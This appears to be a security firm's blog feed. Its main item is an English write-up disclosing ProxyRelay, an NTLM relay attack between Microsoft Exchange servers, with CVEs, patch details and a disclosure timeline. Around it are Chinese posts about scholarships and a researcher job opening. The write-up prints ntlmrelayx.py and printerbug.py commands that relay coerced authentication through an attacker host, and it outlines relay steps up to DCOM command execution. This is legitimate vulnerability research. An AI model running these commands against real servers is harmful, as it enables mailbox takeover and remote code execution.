回應『只要把這份感謝的心情,拿去幫助其他人,就是最好的回報』,因為這句話,我寫了一些文章,希望能幫助到其他人。在未來,我也會繼續幫助其他人,以此來回報貴公司在資安界無私的奉獻。」清大蘇同學說。</p> <p>陽明交通大學高同學則表示,將運用這筆獎學金購買原本負擔不起的昂貴物聯網設備及相關工具,以利進行資安相關研究,也將購入資訊相關書籍,提升自己的知識。</p> <p>期待獲獎同學們未來持續深耕資安知識與技術,在資安舞台上發光發熱!</p> https://devco.re/blog/2022/12/23/2022-devcore-national-cyber-security-scholarship-results-announcement/ https://devco.re/blog/2022/12/23/2022-devcore-national-cyber-security-scholarship-results-announcement Fri, 23 Dec 2022 00:00:00 +0800 A New Attack Surface on MS Exchange Part 4 - ProxyRelay! <p>Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.</p> <p>Microsoft eventually released <a href="https://support.microsoft.com/en-au/topic/cumulative-update-12-for-exchange-server-2019-kb5011156-6a4e598a-876c-4ff1-9cfa-f7b87246f1d8">Exchange Server 2019 CU 12</a> and <a href="https://support.microsoft.com/en-us/topic/cumulative-update-23-for-exchange-server-2016-kb5011155-98183ada-e4cd-465f-b201-69d40fb74678">Exchange Server 2016 CU 23</a> on April 20, 2022. However, <strong>this patch did not enable by default</strong>. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at <a href="https://www.zerodayinitiative.com/blog/2022/1/12/pwn2own-vancouver-2022-luanch">Pwn2Own Vancouver 2021</a>. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to <a href="https://devco.re/en/about/">secure the world</a>! You can check the <a href="#Timeline">Timeline</a> to know the detailed disclosure process.</p> <p><br /></p> <h1 id="idea">Idea</h1> <p>Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?</p> <p>Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our <a href="https://powerofcommunity.net/2021.htm">POC 2021</a> and <a href="https://hitcon.org/2021/agenda/279d7810-e619-4dc3-9113-b11bad5277ec/">HITCON 2021</a> talks.</p> <p><img src="/assets/img/blog/20221019/1.png" alt="" /></p> <p><br /></p> <p>Maybe you have heard that our first prediction has already been made in recent <a href="https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9">ProxyNotShell</a>. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)</p> <p><br /></p> <p>Just in case you don’t know, I am a big fan of <a href="https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn">Printer Bug</a> (kudos to <a href="https://twitter.com/tifkin_">Lee Christensen</a>, <a href="https://twitter.com/harmj0y">Will Schroeder</a>, and <a href="https://twitter.com/enigma0x3">Matt Nelson</a> for their amazing talk at <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory">DerbyCon 2018</a>). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1">MS-RPRN</a> protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.</p> <p>In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of <code class="language-plaintext highlighter-rouge">ms-Exch-EPI-Token-Serialization</code> or not. Also, during the Exchange Server installation, the mailbox server will be added to the <code class="language-plaintext highlighter-rouge">Exchange Servers group</code> automatically, and all objects in this Active Directory group have that Token-Serialization right by default.</p> <p>With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. <strong>Can we relay the NTLM authentication among Exchange Servers?</strong></p> <p>There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!</p> <p><br /></p> <p><em>P.S. This attack surface was also found and reported to MSRC independently by <a href="https://twitter.com/D1iv3">Dlive</a> from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.</em></p> <p><br /></p> <h1 id="vulnerabilities">Vulnerabilities</h1> <p>Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:</p> <ul> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768">CVE-2021-33768</a> - Relay to Exchange FrontEnd</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21979">CVE-2022-21979</a> - Relay to Exchange BackEnd</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26414">CVE-2021-26414</a> - Relay to Windows DCOM</li> <li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-RESERVED">CVE-2022-RESERVED</a> - Relay to other services of Exchange</li> </ul> <p>The following attacks have the similar template, the host <code class="language-plaintext highlighter-rouge">EX01</code> stands for the first Exchange Server, <code class="language-plaintext highlighter-rouge">EX02</code> for the second Exchange Server, and <code class="language-plaintext highlighter-rouge">ATTACKER</code> for the attacker-controlled server.</p> <p>In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use <a href="https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py">printerbug.py</a> to coerce a server to initiate an SMB connection and use <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx.py</a> to catch the NTLM and relay the authentication to another Exchange Server.</p> <p><br /></p> <h2 id="round-1---relay-to-exchange-frontend">Round 1 - Relay to Exchange FrontEnd</h2> <p>For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from <code class="language-plaintext highlighter-rouge">EX01</code> to <code class="language-plaintext highlighter-rouge">EX02</code>’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the <a href="https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/httpattack.py">httpattack.py</a>! Here is a simple overview:</p> <ol> <li>Run the <code class="language-plaintext highlighter-rouge">ntlmrelayx.py</code> on the <code class="language-plaintext highlighter-rouge">ATTACKER</code> server to wait for NTLM authentications.</li> <li>Use the <code class="language-plaintext highlighter-rouge">printerbug.py</code> to coerce <code class="language-plaintext highlighter-rouge">EX01</code> to initiate an SMB connection to <code class="language-plaintext highlighter-rouge">ATTACKER</code>.</li> <li>Receive the SMB connection on the <code class="language-plaintext highlighter-rouge">ATTACKER</code> and relay the NTLM blobs to <code class="language-plaintext highlighter-rouge">EX02</code>.</li> <li>Complete the NTLM handshakes to get full access to the EWS endpoint.</li> </ol> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Terminal 1</span> <span class="nv">$ </span>python ntlmrelayx.py <span class="nt">-smb2support</span> <span class="nt">-t</span> https://EX02/EWS/Exchange.asmx <span class="c"># Terminal 2</span> <span class="nv">$ </span>python printerbug.py EX01 ATTACKER </code></pre></div></div> <p>Theoretically, we can take over the target mailbox by <a href="https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-operations-in-exchange">EWS operations</a>. Here we give a demo to dump the secret under administrator’s mailbox.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/IFRvmo6AZoY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h3 id="patching-frontend">Patching FrontEnd</h3> <p>Microsoft assigned <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768">CVE-2021-33768</a> and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check <code class="language-plaintext highlighter-rouge">IsSystemOrMachineAccount()</code> on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.</p> <p><br /></p> <h2 id="round-2---relay-to-exchange-backend">Round 2 - Relay to Exchange BackEnd</h2> <p>Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.</p> <h3 id="2-1-attacking-backend-ews">2-1 Attacking BackEnd <code class="language-plaintext highlighter-rouge">/EWS</code></h3> <p>Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.</p> <h3 id="2-2-attacking-backend-rpc">2-2 Attacking BackEnd <code class="language-plaintext highlighter-rouge">/RPC</code></h3> <p>The other showcase is attacking <a href="https://learn.microsoft.com/en-us/exchange/outlook-anywhere-exchange-2013-help">Outlook Anywhere</a>. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through <code class="language-plaintext highlighter-rouge">/Rpc/*</code>, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpch/c0f4c9c5-1a61-4d10-b8e2-005378d1d212">MS-RPCH</a> specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research <a href="https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/">Attacking MS Exchange Web Interfaces</a> by <a href="https://twitter.com/_mohemiv">Arseniy Sharoglazov</a> for details.</p> <p>Back to our attack, the core logic is as same as attacking EWS. Because the <code class="language-plaintext highlighter-rouge">/Rpc/*</code> is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route <code class="language-plaintext highlighter-rouge">/Rpc/RpcProxy.dll</code>, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the <a href="https://github.com/sensepost/ruler">Ruler Project</a> to <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:</p> <ol> <li>Establish <code class="language-plaintext highlighter-rouge">RCP_IN_DATA</code> and <code class="language-plaintext highlighter-rouge">RCP_OUT_DATA</code> channels to <code class="language-plaintext highlighter-rouge">EX02</code> for RPC I/O.</li> <li>Trigger PrinterBug on <code class="language-plaintext highlighter-rouge">EX01</code> and relay to <code class="language-plaintext highlighter-rouge">EX02</code> to complete NTLM handshakes.</li> <li>Attach <code class="language-plaintext highlighter-rouge">X-CommonAccessToken</code> headers to indicate we are Exchange Admin on both HTTP headers.</li> <li>Interact with the Outlook Anywhere by lots of the coding works upon <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcrpc/137f0ce2-31fd-4952-8a7d-6c0b242e4b6a">MS-OXCRPC</a> and <a href="https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcrops/13af6911-27e5-4aa0-bb75-637b02d4f2ef">MS-OXCROPS</a> over MS-RPCH…</li> </ol> <h3 id="2-3-attacking-backend-powershell">2-3 Attacking BackEnd <code class="language-plaintext highlighter-rouge">/PowerShell</code></h3> <p>The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a <a href="https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html">ProxyShell-Like</a> exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (<a href="https://srcincite.io/advisories/src-2020-0019/">CVE-2020-16875</a>, <a href="https://srcincite.io/advisories/src-2020-0025/">CVE-2020-17083</a>, <a href="https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/">CVE-2020-17132</a>, <a href="https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell">CVE-2021-31207</a> and more) have proven that this is not a difficult task, too.</p> <p>Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)</p> <h3 id="2-4-patching-backend">2-4 Patching BackEnd</h3> <p>Microsoft assigned <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21979">CVE-2022-21979</a> and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the <a href="https://msrc-blog.microsoft.com/2009/12/08/extended-protection-for-authentication/">Extended Protection Authentication</a> in IIS.</p> <p><br /></p> <h2 id="round-3---relay-to-windows-dcom">Round 3 - Relay to Windows DCOM</h2> <p>This part should be all credited to <a href="https://twitter.com/D1iv3">Dlive</a>. The industry knows MS-DCOM is relay-able since <a href="https://twitter.com/sploutchy">Sylvain Heiniger</a>’s awesome <a href="https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/">Relaying NTLM authentication over RPC</a> research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!</p> <p>The idea of this attack is that the <code class="language-plaintext highlighter-rouge">Local Administrators</code> group of Exchange Server includes the group member <code class="language-plaintext highlighter-rouge">Exchange Trusted Subsystem</code>, and all Exchange Server are in this group by default. That means the Machine Account <code class="language-plaintext highlighter-rouge">EX01$</code> is also the local administrator of <code class="language-plaintext highlighter-rouge">EX02</code>. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!</p> <p>Dlive has demonstrated this attack in his <a href="https://www.youtube.com/watch?v=7h38rI8KT30">DEFCON 29 talk</a>. Although he didn’t publish the exploit code, the Wireshark screenshot in his <a href="https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Tianze%20Ding%20-%20Vulnerability%20Exchange%20-%20One%20Domain%20Account%20For%20More%20Than%20Exchange%20Server%20RCE.pdf?page=45">slides</a><sup>p45</sup> has already hinted everything and is enough to reproduce. The process could be illustrated as the following:</p> <ol> <li>Coerce <code class="language-plaintext highlighter-rouge">EX01</code> to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of <code class="language-plaintext highlighter-rouge">EX02</code> to get the Interface of <code class="language-plaintext highlighter-rouge">MMC20.Application</code>.</li> <li>Coerce <code class="language-plaintext highlighter-rouge">EX01</code> again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call <code class="language-plaintext highlighter-rouge">ExecuteShellCommand(...)</code> under <code class="language-plaintext highlighter-rouge">iMMC-&gt;Document-&gt;ActiveView</code>.</li> <li>Run arbitrary commands for fun and profit!</li> </ol> <p>Writing the whole exploit is fun, just like mixing the <code class="language-plaintext highlighter-rouge">dcomexec.py</code> and <code class="language-plaintext highlighter-rouge">ntlmrelayx.py</code> together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!</p> <h3 id="patching-dcom">Patching DCOM</h3> <p>Microsoft assigned <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26414">CVE-2021-26414</a> and patch this DCOM-relay in June 2021. However, due to compatibility, <strong>the hardening on the server-side is disabled by default</strong>. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.</p> <blockquote> <p>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel</p> </blockquote> <p><br /></p> <p>As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!</p> <p><br /></p> <p><em>P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now</em> <br /><br /></p> <h2 id="round-4---relay-to-other-exchange-services">Round 4 - Relay to Other Exchange Services…</h2> <p>Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!</p> <p><br /></p> <h1 id="closing">Closing</h1> <p>Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.</p> <p>Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…</p> <p>Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.</p> <p>Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!</p> <p><br /></p> <h1 id="timeline">Timeline</h1> <ul> <li><strong>Jun 02, 2021</strong> - We reported the vulnerability to Microsoft through the MSRC portal.</li> <li><strong>Jun 03, 2021</strong> - MSRC opened the case. (No. 65594)</li> <li><strong>Jun 03, 2021</strong> - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is <strong>Sep 01, 2021</strong>.</li> <li><strong>Jun 11, 2021</strong> - MSRC replied that they are aiming to complete it before September.</li> <li><strong>Jul 22, 2021</strong> - MSRC said the case doesn’t look like it will be fully resolved by September.</li> <li><strong>Jul 25, 2021</strong> - We said we could extend the deadline and let us know the new estimated date.</li> <li><strong>Aug 25, 2021</strong> - We asked for the estimated date again.</li> <li><strong>Sep 01, 2021</strong> - MSRC said this case has been expanding into a design change and the intended release date is <strong>December 2021</strong>.</li> <li><strong>Sep 08, 2021</strong> - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.</li> <li><strong>Sep 17, 2021</strong> - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.</li> <li><strong>Oct 25, 2021</strong> - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.</li> <li><strong>Dec 21, 2021</strong> - We asked for updates on this case.</li> <li><strong>Dec 22, 2021</strong> - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in <strong>March 2022</strong>.</li> <li><strong>Apr 04, 2022</strong> - We asked that we don’t see the CU in March. When is the new release date?</li> <li><strong>Apr 13, 2022</strong> - MSRC replied the CU is delayed, and the current release date is on <strong>April 20, 2022</strong>.</li> <li><strong>Apr 20, 2022</strong> - Microsoft released <a href="https://support.microsoft.com/en-au/topic/cumulative-update-12-for-exchange-server-2019-kb5011156-6a4e598a-876c-4ff1-9cfa-f7b87246f1d8">Exchange Server 2019 CU 12</a> and <a href="https://support.microsoft.com/en-us/topic/cumulative-update-23-for-exchange-server-2016-kb5011155-98183ada-e4cd-465f-b201-69d40fb74678">Exchange Server 2016 CU 23</a>.</li> <li><strong>Apr 21, 2022</strong> - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?</li> <li><strong>Apr 27, 2022</strong> - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on <strong>May 10, 2022</strong>.</li> <li><strong>May 11, 2022</strong> - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (<strong>Jun 14, 2022</strong>).</li> <li><strong>Jun 10, 2022</strong> - MSRC said there are still having some issues on testing and they are looking to release this in <strong>July 2022</strong>.</li> <li><strong>Jul 04, 2022</strong> - We asked if it will release in this month’s Patching Tuesday.</li> <li><strong>Aug 10, 2022</strong> - Don’t see anything, asked again.</li> <li><strong>Aug 18, 2022</strong> - Microsoft released the CVE and <a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/released-august-2022-exchange-server-security-updates/ba-p/3593862">the patch activation documentation</a>!</li> </ul> https://devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/ https://devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay Wed, 19 Oct 2022 00:00:00 +0800 DEVCORE 徵求資安研究員 <p>你對資安研究有滿腔熱血但卻找不到人討論嗎? 常常參加各大 CTF 比賽,卻不知如何將學會的技能發揮在真實世界中嗎? 你也想要為保護世界盡一份心力嗎?</p> <p>DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術,回報過多個世界級的漏洞,在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績,Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃,在 Pwn2Own 駭客大賽中更是列居首位!然而,資安領域之廣、更迭速度之快,單憑寥寥數人也是力有未逮,</p> <p>一個人走,可以走得很快;但一群人走,可以走得更遠。</p> <p>故此,We Need YOU!</p> <p>現在,DEVCORE Research Team 公開徵求資安研究員囉!不論你是專精於網頁安全,或是對逆向工程情有獨鍾,甚至你喜歡動手拆解硬體,我們不需要你的肝,只需要你對於資安研究的熱忱!我們看重的不是工作經驗,而是對資安傾注過多少心力!</p> <p>在這裡工作,你將可以得到</p> <ul> <li>與頂尖駭客一起交流、合作的寶貴經驗</li> <li>實際體驗並挖掘 Real World 漏洞,找到屬於自己的第一個 CVE!</li> <li>深入業界實戰攻防,真實感受漏洞研究與企業資安的結合</li> </ul> <p>想把駭客作為你的終身職嗎?歡迎各領域的駭客們一起加入!</p> <!-- more --> <h3 id="工作內容">工作內容</h3> <ul> <li>個人研究 70% <ul> <li>對影響世界的產品進行漏洞研究</li> <li>將找到的漏洞回報廠商並進行漏洞發表</li> </ul> </li> <li>檢測或協助專案 30% <ul> <li>規劃、執行產品安全測試</li> <li>根據檢測需求,研究相關弱點或開發相關工具</li> <li>協助紅隊執行專案,提供技術火力支援</li> </ul> </li> </ul> <h3 id="工作條件要求">工作條件要求</h3> <ul> <li>具備漏洞挖掘能力</li> <li>具備漏洞利用程式撰寫能力</li> <li>具備基本程式語言開發能力</li> <li>具備研究熱誠,習慣了解技術本質</li> <li>具備特定領域資安相關知識,包含但不限於 <ul> <li>主流作業系統運作機制、相關漏洞及其利用技術</li> <li>主流瀏覽器架構、相關漏洞及其利用技術</li> <li>硬體介面相關攻擊手法、具實作經驗</li> <li>手機底層韌體架構及防禦機制</li> <li>網頁應用程式攻擊手法</li> <li>網路相關攻擊手法</li> </ul> </li> </ul> <h3 id="加分條件">加分條件</h3> <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>Flare-On 成績</li> <li>公開的技術 blog/slide/write-ups 或 side projects</li> <li>Bug Bounty / 漏洞回報經驗</li> <li>資安研討會演講經驗</li> <li>資安相關教學經驗</li> <li>喜歡自己動手撰寫工具</li> <li>主動追蹤並學習最新資安相關技術</li> </ul> <h3 id="起薪範圍">起薪範圍</h3> <p>新台幣 80,000 - 100,000 (保證年薪 14 個月)</p> <p>詳細的工作環境與應徵方式請參考<a href="https://devco.re/company/jobs/">招募頁面</a></p> https://devco.re/blog/2022/09/21/202209-security-researcher-recruitment/ https://devco.re/blog/2022/09/21/202209-security-researcher-recruitment Wed, 21 Sep 2022 00:00:00 +0800 戴夫寇爾持續投入資安人才培育 - 啟動全國資訊安全獎學金計劃、延續資安教育活動贊助計劃 <p>戴夫寇爾自 2012 年成立以來,秉持著為台灣累積更豐厚的資安競爭力,不只透過主動式資安服務協助企業檢測資安防禦,進而提升整體資安體質;同時我們也很關注資安技術人才的培育,除了擔任學術、政府單位專任講師及顧問以外,也長期支持學生時期創辦的校園資安社團 NISRA(Network and Information Security Research Association),幫助學生們從學生時代建構正確的資訊安全意識及技能外,也更早瞭解資安產業的現況,與產業界接軌。</p> <p>近來產業紛紛加速數位轉型腳步,資安事件頻傳,加上相關法規的增設及施行,我們也觀察到資安重要性的關注度都大幅提高,為了培養更多人可以理解「駭客思維」、能模擬駭客攻擊情境、找出潛在資安風險,我們將擴大施行「資安人才培育計畫」,透過<strong>戴夫寇爾全國資訊安全獎學金</strong>及<strong>贊助資安教育活動</strong>等,支持更多志同道合的學子們關注資安議題,及早增強資安技能。</p> <h3 id="支持下一代資安人才---戴夫寇爾啟動戴夫寇爾全國資訊安全獎學金計劃">支持下一代資安人才 - 戴夫寇爾啟動「戴夫寇爾全國資訊安全獎學金」計劃</h3> <p>我們從學生時代就熱衷於資安研究,也透過校園課程、社團 NISRA 獲得充實的資安知識,有感於此,我們創立戴夫寇爾後也為母校—天主教輔仁大學、國立臺灣科技大學的學生設立了獎學金計畫,為學生的資安學習之路奉獻一點力量。</p> <p>此計畫在 2022年(111 學年度)已邁入第 4 年,我們也擴大補助的範疇,首度為全國大專院校學生推出「戴夫寇爾全國資訊安全獎學金」,只要在資訊安全領域有出眾研究成果的學生,皆可以申請「戴夫寇爾全國資訊安全獎學金」補助,幫助大家在求學期間更加專注學習、奠定資安專長,進而形成正向循環。</p> <p>有意申請者需提出學習資安的動機與歷程,並繳交資安研究或比賽成果,獲選者將能得到最高 2 萬元的研究補助,共 10 名。詳細申請辦法請見以下:</p> <ul> <li><strong>申請資格</strong>:全國各大專院校學生皆可以申請。</li> <li><strong>獎學金金額/名額</strong>:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。</li> <li><strong>申請時程</strong>: <ul> <li>2022/8/31 官網公告獎學金計畫資訊</li> <li>2022/9/1 - 2022/9/30 開放收件</li> <li>2022/10/31 公布審查結果,並將於 10 至 11 月間頒發獎學金</li> </ul> </li> <li><strong>申請辦法</strong>: <ul> <li>請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ [email protected]。</li> <li>信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。</li> <li>請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。</li> </ul> </li> <li><strong>需檢附文件</strong>: <ul> <li><a href="/assets/files/scholarship/戴夫寇爾全國獎學金申請表.pdf">本獎學⾦申請表</a></li> <li>在學證明</li> <li>最近⼀學期成績單</li> <li>學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 2000 字</li> <li>資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等</li> <li>社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等</li> <li>推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函</li> </ul> </li> </ul> <h3 id="支持曾經的我們---戴夫寇爾續辦-2022-年資安教育活動贊助計劃">支持曾經的我們 - 戴夫寇爾續辦 2022 年資安教育活動贊助計劃</h3> <p>身為資安人,我們在學生時期所累積對資安熱情和好奇心,支撐著我們一路走來,不忘初衷地協防台灣安全,同時也期望可以用一點力量為社會帶來貢獻,期盼在未來可以幫助更多社團或社群的力量成為培養專業的養分。</p> <p>因此,今年度我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,藉此降低資安知識落差,持續推廣資訊安全意識及技能,更進一步凝聚台灣資安社群的力量,幫助台灣培養下一個世代的資安人才。</p> <ul> <li><strong>申請資格</strong>:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。</li> <li><strong>贊助金額</strong>:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。</li> <li><strong>申請時程</strong>:如欲申請此計畫的社團或活動,請於 2022/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。</li> <li><strong>申請連結</strong>:<a href="https://forms.gle/dW3GcGjw5z8WQ9pV9">DEVCORE 2022 年資安教育活動贊助調查</a></li> <li><strong>需提供資料</strong>: <ul> <li>申請資格:申請人需以各資安社群或社團名義提出申請。</li> <li>聯絡電子郵件</li> <li>想要辦理的活動類型</li> <li>想要辦理的活動方式</li> <li>活動總預算</li> <li>預計需要贊助金額</li> <li>代表人姓名、連絡電話</li> <li>團體名稱</li> <li>團體單位網址</li> </ul> </li> <li><strong>注意事項</strong>: <ul> <li>申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。</li> <li>本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。</li> 